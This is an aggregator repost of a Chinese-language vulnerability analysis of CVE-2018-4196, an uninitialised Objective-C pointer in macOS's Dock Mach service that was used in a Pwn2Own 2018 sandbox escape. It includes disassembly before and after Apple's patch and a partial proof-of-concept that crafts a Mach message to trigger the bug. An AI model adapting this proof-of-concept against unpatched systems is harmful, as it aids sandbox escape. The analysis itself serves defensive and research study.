11

Uninitialised Objective-C Pointer Vulnerability Analysis (CVE-2018-4196)

 3 years ago
source link: https://o0xmuhe.github.io/2019/09/09/Uninitialised-Objective-C-Pointer-Vulnerability-Analysis-CVE-2018-4196/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
a year ago漏洞分析7 minutes lesen (Über 1019 Worte)

Uninitialised Objective-C Pointer Vulnerability Analysis (CVE-2018-4196)

MWR Lab在pwn2own2018用来macOS上一整套利用的sbx部分漏洞分析,这个漏洞发生在com.apple.dock.server服务,是一个栈指针未初始化。

vuln(10.13’s Dock binary)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v107 = a5;
v5 = a3;
v105 = a2;
v111 = 1;
v102 = a4;
v6 = (const char *)a4;
v98 = a4;
v7 = UnserializeCFType(a3, a4, &v89);
v8 = objc_autorelease(*(_QWORD *)&v89);
v9 = (void *)_objc_retain(v8);
v10 = v9;
if ( v7 )
{
...

v89未初始化,到这里还造成不了什么问题;

主要是看UnserializeCFType的逻辑,这个函数会call到_AXUnserializeCFType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__text:000000000000F043
__text:000000000000F043 public _AXUnserializeCFType
__text:000000000000F043 _AXUnserializeCFType proc near ; CODE XREF: _UnserializeCFType+16↑j
__text:000000000000F043 ; _AXUnserializeWrapper+15↓j ...
__text:000000000000F043
__text:000000000000F043 var_8 = qword ptr -8
__text:000000000000F043
__text:000000000000F043 push rbp
__text:000000000000F044 mov rbp, rsp
__text:000000000000F047 sub rsp, 10h
__text:000000000000F04B mov [rbp+var_8], rdx
__text:000000000000F04F mov eax, 0FFFF9D8Fh
__text:000000000000F054 cmp rcx, 8
__text:000000000000F058 jb short loc_F0B7
__text:000000000000F05A mov qword ptr [r8], 0
__text:000000000000F061 mov esi, [rdx]
__text:000000000000F063 cmp esi, 6F77656Eh
__text:000000000000F069 jz short loc_F073
__text:000000000000F06B cmp esi, 61656C61h
__text:000000000000F071 jnz short loc_F0B7
__text:000000000000F073
__text:000000000000F073 loc_F073: ; CODE XREF: _AXUnserializeCFType+26↑j
__text:000000000000F073 lea rax, [rdx+4]
__text:000000000000F077 mov [rbp+var_8], rax
__text:000000000000F07B mov eax, [rdx+4]
__text:000000000000F07E cmp rax, 0Fh
__text:000000000000F082 jbe short loc_F08D
__text:000000000000F084 lea r9, _bogusUnserialize
__text:000000000000F08B jmp short loc_F098
__text:000000000000F08D ; ---------------------------------------------------------------------------
__text:000000000000F08D
__text:000000000000F08D loc_F08D: ; CODE XREF: _AXUnserializeCFType+3F↑j
__text:000000000000F08D lea rdx, _sUnserializeFunctions
__text:000000000000F094 mov r9, [rdx+rax*8]
__text:000000000000F098
__text:000000000000F098 loc_F098: ; CODE XREF: _AXUnserializeCFType+48↑j
__text:000000000000F098 add rcx, 0FFFFFFFFFFFFFFFCh
__text:000000000000F09C xor eax, eax
__text:000000000000F09E cmp esi, 6F77656Eh
__text:000000000000F0A4 setz al
__text:000000000000F0A7 lea rsi, [rbp+var_8]
__text:000000000000F0AB mov rdx, rcx
__text:000000000000F0AE mov rcx, r8
__text:000000000000F0B1 mov r8d, eax
__text:000000000000F0B4 call r9 ; _bogusUnserialize
__text:000000000000F0B7
__text:000000000000F0B7 loc_F0B7: ; CODE XREF: _AXUnserializeCFType+15↑j
__text:000000000000F0B7 ; _AXUnserializeCFType+2E↑j
__text:000000000000F0B7 add rsp, 10h
__text:000000000000F0BB pop rbp
__text:000000000000F0BC retn
__text:000000000000F0BC _AXUnserializeCFType endp

问题就在于这个函数里对这个未初始化的指针的处理,这个函数也没有初始化这个指针,而是直接判断 cmp rcx, 8,决定是否执行反序列化的操作;然而,rcx是一个可控值,这里可以控制rcx小于8,然后使UnserializeCFType执行失败。

这里回到这个服务的MIG handler函数:

1
2
v7 = UnserializeCFType(a3, a4, &v89);
v8 = objc_autorelease(*(_QWORD *)&v89);

它默认UnserializeCFType执行成功,并不考虑任何失败的情况,这就导致后面直接使用这个未初始化的指针作为objc_autorelease的参数。

patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
_text:0000000000010ABD
__text:0000000000010ABD public _AXUnserializeCFType
__text:0000000000010ABD _AXUnserializeCFType proc near ; CODE XREF: _UnserializeCFType+16↑j
__text:0000000000010ABD ; _AXUnserializeWrapper+1A↓j ...
__text:0000000000010ABD
__text:0000000000010ABD var_8 = qword ptr -8
__text:0000000000010ABD
__text:0000000000010ABD push rbp
__text:0000000000010ABE mov rbp, rsp
__text:0000000000010AC1 sub rsp, 10h
__text:0000000000010AC5 mov [rbp+var_8], rdx
__text:0000000000010AC9 mov qword ptr [r8], 0
__text:0000000000010AD0 mov eax, 0FFFF9D8Fh
__text:0000000000010AD5 cmp rcx, 8
__text:0000000000010AD9 jb short loc_10B31
__text:0000000000010ADB mov esi, [rdx]
__text:0000000000010ADD cmp esi, 6F77656Eh
__text:0000000000010AE3 jz short loc_10AED

_AXUnserializeCFType 对之前没初始化的指针先set NULL处理,然后再执行cmp rcx 8。 所以即使之前还是有未初始化的情况,在这里也彻底堵死了。

苹果的这个补法还是挺优雅的,代价也比较小,比一个handler一个handler得去做初始化的工作要方便多了 :-)

apple-safari-pwn2own-vuln-write-up-2018-10-29

伪POC

我没看这个洞所在的handler,而是看到了另外的类似的情况,已另外一个handler为目标写的poc : (

有些字段瞎填的,不影响,找个老版本,改一改字段应该ok。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct dock_msg{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
uint32_t PAD[2];
uint32_t ool_size;
};

struct dock_msg m = {0};

//header +0
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // must be complex msg
m.hdr.msgh_size = sizeof(struct dock_msg);
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_local_port = 0;
m.hdr.msgh_voucher_port = 0; //anything you want :-)
m.hdr.msgh_id = id;

//body must be 1, +0x18
m.body.msgh_descriptor_count = 1;

int *tmp = malloc(0x1337);
//ool desc 12 bytes, +0x1c

m.ool_desc.address = tmp;
m.ool_desc.deallocate = 0;
m.ool_desc.copy = 0;
m.ool_desc.pad1 = 0;
m.ool_desc.type = 1;
m.ool_desc.size = 0x1337; //这个就是 cmp rcx, 8 的rcx

// padding, +0x28
m.PAD[0] = 0x1337;

// ool size +0x34
m.ool_size = 0x1337;


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK